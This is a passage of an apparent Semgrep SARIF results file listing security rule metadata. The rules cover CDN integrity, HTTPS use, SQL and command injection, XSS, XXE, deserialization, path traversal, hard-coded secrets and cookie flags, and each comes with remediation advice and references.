your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"help":{"markdown":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs)\n - [https://cwe.mitre.org/data/definitions/352.html](https://cwe.mitre.org/data/definitions/352.html)\n - [https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/](https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/)\n","text":"Consuming CDNs without including a SubResource Integrity (SRI) can expose your application and its users to compromised code. SRIs allow you to consume specific versions of content where if even a single byte is compromised, the resource will not be loaded. Add an integrity attribute to your <script> and <link> tags pointing to CDN content to ensure the resources have not been compromised. A crossorigin attribute should also be added. For a more thorough explanation along with explicit instructions on remediating, follow the directions from Mozilla here: https://developer.mozilla.org/en-US/blog/securing-cdn-using-sri-why-how/"},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","id":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","name":"generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.html.usesriforcdns.use-SRI-for-CDNs"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","id":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","name":"python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-session-http-in-with-context.request-session-http-in-with-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.pg-sqli.pg-sqli","id":"ruby.aws-lambda.security.pg-sqli.pg-sqli","name":"ruby.aws-lambda.security.pg-sqli.pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.pg-sqli.pg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","id":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","name":"kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-auth-hardcoded-secret.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape)\n - [https://pugjs.org/language/code.html#unescaped-buffered-code](https://pugjs.org/language/code.html#unescaped-buffered-code)\n - [https://pugjs.org/language/attributes.html#unescaped-attributes](https://pugjs.org/language/attributes.html#unescaped-attributes)\n","text":"Detected an explicit unescape in a Pug template, using either '!=' or '!{...}'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"help":{"markdown":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected)\n - [https://cwe.mitre.org/data/definitions/939.html](https://cwe.mitre.org/data/definitions/939.html)\n","text":"Detected a dynamic value being used with urllib. urllib supports 'file://' schemes, so a dynamic value controlled by a malicious actor may allow them to read arbitrary files. Audit uses of urllib calls to ensure user data cannot control the URLs, or consider using the 'requests' library instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","id":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","name":"python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected","properties":{"precision":"very-high","tags":["CWE-939: Improper Authorization in Handler for Custom URL Scheme","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dynamic-urllib-use-detected.dynamic-urllib-use-detected"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#client_cert_enabled)\n","text":"Detected an AppService that was not configured to use a client certificate. Add `client_cert_enabled = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","id":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","name":"terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-require-client-cert.appservice-require-client-cert"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","id":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","name":"python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-aiofile-django.tainted-path-traversal-aiofile-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"help":{"markdown":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use)\n - [https://www.php.net/manual/en/function.unserialize.php](https://www.php.net/manual/en/function.unserialize.php)\n - [https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html](https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html)\n","text":"Calling `unserialize()` with user input in the pattern can lead to arbitrary code execution. Consider using JSON or structured data approaches (e.g. Google Protocol Buffers)."},"helpUri":"https://semgrep.dev/r/php.lang.security.unserialize-use.unserialize-use","id":"php.lang.security.unserialize-use.unserialize-use","name":"php.lang.security.unserialize-use.unserialize-use","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.unserialize-use.unserialize-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","id":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","name":"csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.jwt.jwt-hardcoded-secret.jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-shelve","id":"python.lang.security.deserialization.pickle.avoid-shelve","name":"python.lang.security.deserialization.pickle.avoid-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-secure.missing-secure","id":"java.micronaut.audit.cookies.missing-secure.missing-secure","name":"java.micronaut.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"help":{"markdown":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection","id":"csharp.lang.security.injections.os-command.os-command-injection","name":"csharp.lang.security.injections.os-command.os-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.injections.os-command.os-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"help":{"markdown":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep 